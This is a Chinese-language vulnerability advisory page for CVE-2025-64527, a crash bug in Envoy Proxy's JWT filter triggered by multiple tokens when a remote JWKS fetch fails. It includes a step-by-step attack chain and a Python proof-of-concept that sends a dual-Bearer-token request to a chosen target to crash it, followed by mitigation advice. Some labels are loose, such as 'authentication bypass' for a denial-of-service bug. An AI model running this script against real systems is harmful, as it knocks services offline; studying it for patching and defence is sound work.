IPBUF安全漏洞报告
English
CVE-2025-64527 CVSS 6.5 中危

CVE-2025-64527 Envoy JWT远程JWKS获取失败时崩溃漏洞

披露日期: 2025-12-03

漏洞信息

漏洞编号
CVE-2025-64527
漏洞类型
拒绝服务
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Envoy Proxy

相关标签

拒绝服务EnvoyJWT认证JWKS重入漏洞CVE-2025-64527代理服务器身份认证绕过

漏洞概述

Envoy是一个高性能的边缘/中间/服务代理。1.33.12、1.34.10、1.35.6、1.36.2及更早版本存在一个拒绝服务漏洞,当JWT认证配置为远程JWKS获取模式且启用allow_missing_or_failed选项时,如果请求头中存在多个JWT令牌且JWKS获取失败,会导致Envoy进程崩溃。该漏洞的根本原因在于JwksFetcherImpl中的重入bug,当第一个令牌的JWKS获取失败时,onJwksError()回调函数会触发第二个令牌的处理流程,而第二个令牌又会在同一个fetcher对象上再次调用fetch()方法。此时原始回调的reset()操作会清除第二个fetch的状态(receiver_和request_),导致异步HTTP响应到达时程序崩溃。此漏洞无需特殊权限即可触发,攻击者可利用此漏洞造成服务中断。

技术细节

该漏洞发生在Envoy的JWT验证模块中。当配置了remote_jwks(远程JWKS获取)且设置allow_missing_or_failed为true时,系统允许JWKS获取失败时继续处理请求。技术细节如下:1)当请求包含多个JWT令牌时,Envoy会依次处理每个令牌;2)处理第一个令牌时,触发异步HTTP请求获取JWKS;3)如果JWKS获取失败,onJwksError()回调被触发;4)该回调会立即开始处理第二个令牌;5)第二个令牌的验证流程再次调用fetch()方法,形成重入;6)第一个令牌的清理逻辑执行reset(),清空receiver_和request_;7)当第二个令牌的异步HTTP响应返回时,由于状态已被清除,导致空指针引用或野指针访问,最终造成进程崩溃。攻击者只需构造包含多个JWT令牌的HTTP请求,并确保JWKS服务器不可达或返回错误即可触发此漏洞。

攻击链分析

STEP 1
步骤1
攻击者识别配置了JWT认证且启用远程JWKS获取的Envoy实例
STEP 2
步骤2
攻击者确保JWKS端点不可达或返回错误,触发onJwksError回调
STEP 3
步骤3
攻击者构造包含多个JWT令牌的HTTP请求头(至少2个Bearer令牌)
STEP 4
步骤4
第一个令牌的JWKS获取失败后,onJwksError触发第二个令牌处理
STEP 5
步骤5
第二个令牌在同一fetcher对象上调用fetch()形成重入
STEP 6
步骤6
原始回调的reset()清除第二个fetch的状态(receiver_和request_)
STEP 7
步骤7
异步HTTP响应到达时由于状态已被清除,导致进程崩溃,触发拒绝服务

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-64527 PoC - Envoy JWT JWKS Fetch Failure DoS This PoC demonstrates the re-entry bug in JwksFetcherImpl that causes Envoy crash when multiple JWT tokens are present and JWKS fetch fails. Usage: 1. Setup Envoy with JWT authentication and remote JWKS 2. Configure allow_missing_or_failed: true 3. Block or make JWKS endpoint unreachable 4. Send request with multiple JWT tokens """ import http.server import socketserver import threading import time # Malicious JWT tokens (any malformed tokens will trigger JWKS fetch) MALICIOUS_TOKENS = [ "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.signature1", "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IlNhbiBMYWJvcmEiLCJpYXQiOjE1MTYyMzkwMjJ9.signature2" ] def create_malicious_request(target_host, target_port): """Create HTTP request with multiple JWT tokens to trigger the bug""" request = f"""GET /protected-resource HTTP/1.1 Host: {target_host}:{target_port} Authorization: Bearer {MALICIOUS_TOKENS[0]} Authorization: Bearer {MALICIOUS_TOKENS[1]} User-Agent: CVE-2025-64527-PoC Accept: */* """ return request.encode() def block_jwks_requests(server_host="127.0.0.1", server_port=8080): """Block JWKS requests to simulate fetch failure""" class BlockingHandler(http.server.BaseHTTPRequestHandler): def do_GET(self): if "/.well-known/jwks.json" in self.path: # Return error to trigger onJwksError callback self.send_response(500) self.end_headers() self.wfile.write(b'{"error": "Internal Server Error"}') else: self.send_response(404) self.end_headers() def log_message(self, format, *args): pass # Suppress logging with socketserver.TCPServer((server_host, server_port), BlockingHandler) as httpd: httpd.handle_request() def exploit(target_host, target_port): """Send malicious request to trigger Envoy crash""" import socket # Start JWKS blocking server in background blocker_thread = threading.Thread(target=block_jwks_requests) blocker_thread.daemon = True blocker_thread.start() time.sleep(0.5) # Send malicious request try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_host, target_port)) sock.send(create_malicious_request(target_host, target_port)) response = sock.recv(4096) sock.close() print(f"[+] Request sent. Envoy may crash.") print(f"[*] Response: {response[:200]}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": import sys if len(sys.argv) < 3: print(f"Usage: {sys.argv[0]} <target_host> <target_port>") sys.exit(1) exploit(sys.argv[1], int(sys.argv[2]))

影响范围

Envoy Proxy < 1.33.12
Envoy Proxy < 1.34.10
Envoy Proxy < 1.35.6
Envoy Proxy < 1.36.2

防御指南

临时缓解措施
临时缓解措施:在JWT过滤器配置中,将allow_missing_or_failed设置为false,这样当JWKS获取失败时请求会被直接拒绝而不是继续处理后续令牌。同时确保JWKS端点稳定可用,或使用本地JWKS文件替代远程获取。长期建议是尽快升级到官方发布的安全版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表